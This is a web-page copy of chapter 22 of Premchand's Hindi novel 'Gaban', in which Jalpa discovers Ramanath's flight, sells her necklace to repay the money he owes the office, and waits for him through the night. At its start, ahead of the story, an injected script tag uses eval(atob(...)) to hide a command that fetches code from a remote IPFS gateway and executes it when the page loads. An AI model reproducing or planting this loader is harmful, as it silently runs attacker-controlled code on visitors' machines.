ग़बन उपन्यास भाग-22

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>जब रमा कोठे से धम-धम नीचे उतर रहा था, उस वक्त ज़ालपा को इसकी ज़रा भी शंका न हुई कि वह घर से भागा जा रहा है। पत्र तो उसने पढ़ ही लिया था। जी ऐसा झुंझला रहा था कि चलकर रमा को ख़ूब खरी-खरी सुनाऊं। मुझसे यह छल-कपट! पर एक ही क्षण में उसके भाव बदल गए। कहीं ऐसा तो नहीं हुआ है, सरकारी रुपये ख़र्च कर डाले हों। यही बात है, रतन के रुपये सराफ को दिए होंगे। उस दिन रतन को देने के लिए शायद वे सरकारी रुपये उठा लाए

थे। यह सोचकर उसे फिर क्रोध आया,यह मुझसे इतना परदा क्यों करते हैं? क्यों मुझसे बढ़-बढ़कर बातें करते थे? क्या मैं इतना भी नहीं जानती कि संसार में अमीर-ग़रीब दोनों ही होते हैं?क्या सभी स्त्रियां गहनों से लदी रहती हैं?गहने न पहनना क्या कोई पाप है? जब और ज़रूरी कामों से रुपये बचते हैं,तो गहने भी बन जाते हैं। पेट और तन काटकर, चोरी या बेईमानी करके तो गहने नहीं पहने जाते! क्या उन्होंने मुझे ऐसी गई-गुजरी समझ लिया! उसने सोचा, रमा अपने कमरे में होगा, चलकर पूछूं, कौन से गहने चाहते हैं। परिस्थिति की भयंकरता का अनुमान करके क्रोध की जगह उसके मन में भय का संचार हुआ। वह बडी तेज़ी से नीचे उतरीब उसे विश्वास था, वह नीचे बैठे हुए इंतज़ार कर रहे होंगे। कमरे में आई तो उनका पता न था। साइकिल रक्खी हुई थी, तुरंत दरवाज़े से झांका। सड़क पर भी नहीं। कहां चले गए? लडके।

दोनों पढ़ने स्यल गए थे, किसको भेजे कि जाकर उन्हें बुला लाए। उसके हृदय में एक अज्ञात संशय अंद्दरित हुआ। फौरन ऊपर गई, गले का हार और हाथ का कंगन उतारकर रूमाल में बांधा, फिर नीचे उतरी, सड़क पर आकर एक तांगा लिया, और कोचवान से बोली,चुंगी कचहरी चलो। वह पछता रही थी कि मैं इतनी देर बैठी क्यों रही। क्यों न गहने उतारकर तुरंत दे दिए। रास्ते में वह दोनों तरफ बडे ध्यान से देखती जाती थी। क्या इतनी जल्द इतनी दूर निकल आए? शायद देर हो जाने के कारण वह भी आज तांगे ही पर गए हैं, नहीं तो अब तक ज़रूर मिल गए होते। तांगे वाले से बोली, ‘क्यों जी, अभी तुमने किसी बाबूजी को तांगे पर जाते देखा?’

तांगे वाले ने कहा,’हां माईजी, एक बाबू अभी इधर ही से गए हैं।’

जालपा को कुछ ढाढ़स हुआ, रमा के पहुंचते-पहुंचते वह भी पहुंच जाएगी। कोचवान से बार-बार घोडातेज़ करने को कहती। जब वह दफ़्तर पहुंची, तो ग्यारह बज गए थे। कचहरी में सैकड़ों आदमी इधर-उधर दौड़ रहे थे। किससे पूछे? न जाने वह कहां बैठते हैं। सहसा एक चपरासी दिखलाई दिया। जालपा ने उसे बुलाकर कहा, ‘सुनो जी, ज़रा बाबू रमानाथ को तो बुला लाओ।

चपरासी बोला,उन्हीं को बुलाने तो जा रहा हूं। बडे बाबू ने भेजा है। आप क्या उनके घर ही से आई हैं?’

जालपा—‘हां, मैं तो घर ही से आ रही हूं। अभी दस मिनट हुए वह घर से चले हैं।’

चपरासी—‘यहां तो नहीं आए।’

जालपा बडे असमंजस में पड़ी। वह यहां भी नहीं आए, रास्ते में भी नहीं मिले, तो फिर गए कहां? उसका दिल बांसों उछलने लगा। आँखें भर-भर आने लगीं। वहां बडे बाबू के सिवा वह और किसी को न जानती थी। उनसे बोलने का अवसर कभी न पडा था, पर इस समय उसका संकोच ग़ायब हो गया। भय के सामने मन के और सभी भाव दब जाते हैं। चपरासी से बोली,ज़रा बडे बाबू से कह दो---नहीं चलो, मैं ही चलती हूं। बडे बाबू से कुछ बातें करनी हैं। जालपा का ठाठ-बाट और रंग-ढंग देखकर चपरासी रोब में आ गया, उल्टे पांव बडे बाबू के कमरे की ओर चला। जालपा उसके पीछे-पीछे हो ली। बडे बाबू खबर पाते ही तुरंत बाहर निकल आए।

जालपा ने क़दम आगे बढ़ाकर कहा, ‘क्षमा कीजिए, बाबू साहब, आपको कष्ट हुआ। वह पंद्रह-बीस मिनट हुए घर से चले, क्या अभी तक यहां नहीं आए?’

रमेश—‘अच्छा आप मिसेज रमानाथ हैं। अभी तो यहां नहीं आए। मगर दफ़्तर के वक्त सैर - सपाटे करने की तो उसकी आदत न थी।’

जालपा ने चपरासी की ओर ताकते हुए कहा, ‘मैं आपसे कुछ अर्ज़ करना चाहती हूं।’

रमेश—‘तो चलो अंदर बैठो, यहां कब तक खड़ी रहोगी। मुझे आश्चर्य है कि वह गए कहां! कहीं बैठे शतरंज खेल रहे होंगे।‘

जालपा—‘नहीं बाबूजी, मुझे ऐसा भय हो रहा है कि वह कहीं और न चले गए हों। अभी दस मिनट हुए, उन्होंने मेरे नाम एक पुरज़ा लिखा था। (जेब से टटोल कर) जी हां, देखिए वह पुरज़ा मौजूद है। आप उन पर कृपा रखते हैं, तो कोई परदा नहीं। उनके जिम्मे कुछ सरकारी रुपये तो नहीं निकलते!’ रमेश ने चकित होकर कहा, ‘क्यों, उन्होंने तुमसे कुछ नहीं कहा?’

जालपा—‘कुछ नहीं। इस विषय में कभी एक शब्द भी नहीं कहा!’

रमेश—‘कुछ समझ में नहीं आता। आज उन्हें तीन सौ रुपये जमा करना है। परसों की आमदनी उन्होंने जमा नहीं की थी? नोट थे, जेब में डालकर चल दिए। बाज़ार में किसी ने नोट निकाल लिए। (मुस्कराकर) किसी और देवी की पूजा तो नहीं करते?’

जालपा का मुख लज्जा से नत हो गया। बोली, ‘अगर यह ऐब होता, तो आप भी उस इलज़ाम से न बचते। जेब से किसी ने निकाल लिए होंगे। मारे शर्म के मुझसे कहा न होगा। मुझसे ज़रा भी कहा होता, तो तुरंत रुपये निकालकर दे देती, इसमें बात ही क्या थी।’

रमेश बाबू ने अविश्वास के भाव से पूछा, ‘क्या घर में रुपये हैं?’

जालपा ने निशंक होकर कहा, ‘तीन सौ चाहिए न, मैं अभी लिये आती हूं।’

रमेश—‘अगर वह घर पर आ गए हों, तो भेज देना।’

जालपा आकर तांगे पर बैठी और कोचवान से चौक चलने को कहा। उसने अपना हार बेच डालने का निश्चय कर लिया। यों उसकी कई सहेलियां थीं, जिनसे उसे रुपये मिल सकते थे। स्त्रियों में बडा स्नेह होता है। पुरुषों की भांति उनकी मित्रता केवल पान?पभो तक ही समाप्त नहीं हो जाती, मगर अवसर नहीं था। सर्राफे में पहुंचकर वह सोचने लगी, किस दुकान पर जाऊं। भय हो रहा

था, कहीं ठगी न जाऊं। इस सिरे से उस सिरे तक चक्कर लगा आई, किसी दुकान पर जाने की हिम्मत न पड़ी। उधार वक्त भी निकला जाता था। आख़िर एक दुकान पर एक बूढ़े सर्राफ को देखकर उसका संकोच कुछ कम हुआ। सर्राफ बडा घाघ था, जालपा की झिझक और हिचक देखकर समझ गया, अच्छा शिकार फंसा। जालपा ने हार दिखाकर कहा,आप इसे ले सकते हैं?’

सर्राफ ने हार को इधर-उधर देखकर कहा, ‘मुझे चार पैसे की गुंजाइश होगी, तो क्यों न ले लूंगा। माल चोखा नहीं है।’

जालपा—‘तुम्हें लेना है, इसलिए माल चोखा नहीं है, बेचना होता, तो चोखा होता। कितने में लोगे?’

सर्राफ—‘आप ही कह दीजिए।’

सर्राफ ने साढ़े तीन सौ दाम लगाए, और बढ़ते-बढ़ते चार सौ तक पहुंचा। जालपा को देर हो रही थी, रुपये लिये और चल खड़ी हुई। जिस हार को उसने इतने चाव से ख़रीदा था, जिसकी लालसा उसे बाल्यकाल ही में उत्पन्न हो गई थी, उसे आज आधे दामों बेचकर उसे ज़रा भी दुःख नहीं हुआ, बल्कि गर्वमय हर्ष का अनुभव हो रहा था। जिस वक्त रमा को मालूम होगा कि उसने रुपये दे दिए हैं, उन्हें कितना आनंद होगा। कहीं दफ़्तर पहुंच गए हों तो बडा मज़ा हो यह सोचती हुई वह फिर दफ़्तर पहुंची। रमेश बाबू उसे देखते हुए बोले, ‘क्या हुआ, घर पर मिले?’

जालपा—‘क्या अभी तक यहां नहीं आए? घर तो नहीं गए। यह कहते हुए उसने नोटों का पुलिंदा रमेश बाबू की तरफ बढ़ा दिया। रमेश बाबू नोटों को गिनकर बोले, ‘ठीक है, मगर वह अब तक कहां हैं। अगर न आना था, तो एक ख़त लिख देते। मैं तो बडे संकट में पडा हुआ था। तुम बडे वक्त से आ गई। इस वक्त तुम्हारी सूझ-बूझ देखकर जी ख़ुश हो गया। यही सच्ची देवियों का धर्म है।’

जालपा फिर तांगे पर बैठकर घर चली तो उसे मालूम हो रहा था, मैं कुछ ऊंची हो गई हूं। शरीर में एक विचित्र स्फूर्ति दौड़ रही थी। उसे विश्वास था, वह आकर चिंतित बैठे होंगे। वह जाकर पहले उन्हें खूब आड़े हाथों लेगी, और खूब लज्जित करने के बाद यह हाल कहेगी, लेकिन जब घर में पहुंची तो रमानाथ का कहीं पता न था।

जागेश्वरी ने पूछा, ‘कहां चली गई थीं इस धूप में?’

जालपा—‘एक काम से चली गई थी। आज उन्होंने भोजन नहीं किया, न जाने कहां चले गए।’

जागेश्वरी--’दफ़्तर गए होंगे।’

जालपा—‘नहीं, दफ़्तर नहीं गए। वहां से एक चपरासी पूछने आया था।’

यह कहती हुई वह ऊपर चली गई, बचे हुए रुपये संदूक में रखे और पंखा झलने लगी। मारे गरमी के देह फुंकी जा रही थी, लेकिन कान द्वार की ओर लगे थे। अभी तक उसे इसकी ज़रा भी शंका न थी कि रमा ने विदेश की राह ली है।

चार बजे तक तो जालपा को विशेष चिंता न हुई लेकिन ज्यों-ज्यों दिन ढलने लगा, उसकी चिंता बढ़ने लगी। आख़िर वह सबसे ऊंची छत पर चढ़ गई, हालांकि उसके जीर्ण होने के कारण कोई ऊपर नहीं आता था, और वहां चारों तरफ नज़र दौडाई, लेकिन रमा किसी तरफ से आता दिखाई न दिया। जब संध्या हो गई और रमा घर न आया, तो जालपा का जी घबराने लगा। कहां चले गए? वह दफ़्तर से घर आए बिना कहीं बाहर न जाते थे। अगर किसी मित्र के घर होते, तो क्या अब तक न लौटते?मालूम नहीं, जेब में कुछ है भी या नहीं। बेचारे दिनभर से न मालूम कहां भटक रहे होंगे। वह फिर पछताने लगी कि उनका पत्र पढ़ते ही उसने क्यों न हार निकालकर दे दिया। क्यों दुविधा में पड़ गई। बेचारे शर्म के मारे घर न आते होंगे। कहां जाय? किससे पूछे?

चिराग़ जल गए, तो उससे न रहा गया। सोचा, शायद रतन से कुछ पता चले। उसके बंगले पर गई तो मालूम हुआ, आज तो वह इधर आए ही नहीं। जालपा ने उन सभी पार्को और मैदानों को छान डाला, जहां रमा के साथ वह बहुधा घूमने आया करती थी, और नौ बजते-बजते निराश लौट आई। अब तक उसने अपने आंसुओं को रोका था, लेकिन घर में क़दम रखते ही जब उसे मालूम हो गया कि अब तक वह नहीं आए, तो वह हताश होकर बैठ गई। उसकी यह शंका अब दृढ़ हो गई कि वह ज़रूर कहीं चले गए। फिर भी कुछ आशा थी कि शायद मेरे पीछे आए हों और फिर चले गए हों। जाकर जागेश्वरी से पूछा, ’वह घर आए थे, अम्मांजी?’

जागेश्वरी--’यार-दोस्तों में बैठे कहीं गपशप कर रहे होंगे। घर तो सराय है। दस बजे घर से निकले थे, अभी तक पता नहीं।’

जालपा—‘दफ़्तर से घर आकर तब वह कहीं जाते थे। आज तो आए नहीं। कहिए तो गोपी बाबू को भेज दूं। जाकर देखें, कहां रह गए।’

जागेश्वरी--’लङके इस वक्त क़हां देखने जाएंगे। उनका क्या ठीक है। थोड़ी देर और देख लो, फिर खाना उठाकर रख देना। कोई कहां तक इंतज़ार करे।’

जालपा ने इसका कुछ जवाब न दिया। दफ़्तर की कोई बात उनसे न कही। जागेश्वरी सुनकर घबडा जाती, और उसी वक्त रोना-पीटना मच जाता। वह ऊपर जाकर लेट गई और अपने भाग्य पर रोने लगी। रह-रहकर चित्त ऐसा विकल होने लगा, मानो कलेजे में शूल उठ रहा हो बार-बार सोचती, अगर रातभर न आए तो कल क्या करना होगा? जब तक कुछ पता न चले कि वह किधर गए, तब तक कोई जाय तो कहां जाय! आज उसके मन ने पहली बार स्वीकार किया कि यह सब उसी की करनी का फल है। यह सच है कि उसने कभी आभूषणों के लिए आग्रह नहीं कियाऋ लेकिन उसने कभी स्पष्ट रूप से मना भी तो नहीं किया। अगर गहने चोरी जाने के बाद इतनी अधीर न हो गई होती, तो आज यह दिन क्यों आता। मन की इस दुर्बल अवस्था में जालपा अपने भार से अधिक भाग अपने ऊपर लेने लगी। वह जानती थी, रमा रिश्वत लेता है,

नोच-खसोटकर रुपये लाता है। फिर भी कभी उसने मना नहीं किया। उसने ख़ुद क्यों अपनी कमली के बाहर पांव व्लाया- क्यों उसे रोज़ सैर - सपाटे की सूझती थी? उपहारों को ले-लेकर वह क्यों फली न समाती थी? इस ज़िम्मेदारी को भी इस वक्त ज़ालपा अपने ही ऊपर ले रही थी। रमानाथ ने प्रेम के वश होकर उसे प्रसन्न करने के लिए ही तो सब कुछ करते थे। युवकों का यही स्वभाव है। फिर उसने उनकी रक्षा के लिए क्या किया- क्यों उसे यह समझ न आई

कि आमदनी से ज़्यादा ख़र्च करने का दंड एक दिन भोगना पड़ेगा। अब उसे ऐसी कितनी ही बातें याद आ रही थीं, जिनसे उसे रमा के मन की विकलता का परिचय पा जाना चाहिए था, पर उसने कभी उन बातों की ओर ध्यान न दिया।

जालपा इन्हीं चिंताओं में डूबी हुई न जाने कब तक बैठी रही। जब चौकीदारों की सीटियों की आवाज़ उसके कानों में आई, तो वह नीचे जाकर जागेश्वरी से बोली, ’वह तो अब तक नहीं आए। आप चलकर भोजन कर लीजिए।’

जागेश्वरी बैठे-बैठे झपकियां ले रही थी। चौंककर बोली, ’कहां चले गए थे? ’

जालपा—‘वह तो अब तक नहीं आए।’

जागेश्वरी--’अब तक नहीं आए? आधी रात तो हो गई होगी। जाते वक्त तुमसे कुछ कहा भी नहीं?’

जालपा—‘कुछ नहीं।’

जागेश्वरी--’तुमने तो कुछ नहीं कहा?’

जालपा—‘मैं भला क्यों कहती।’

जागेश्वरी--’तो मैं लालाजी को जगाऊं?’

जालपा—‘इस वक्त ज़गाकर क्या कीजिएगा? आप चलकर कुछ खा लीजिए न।’

जागेश्वरी--’मुझसे अब कुछ न खाया जायगा। ऐसा मनमौजी लड़का है कि कुछ कहा न सुना, न जाने कहां जाकर बैठ रहा। कम-से-कम कहला तो देता कि मैं इस वक्त न आऊंगा।’

जागेश्वरी फिर लेट रही, मगर जालपा उसी तरह बैठी रही। यहां तक कि सारी रात गुज़र गई,पहाड़-सी रात जिसका एक-एक पल एक-एक वर्ष के समान कट रहा था।


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टीका टिप्पणी और संदर्भ

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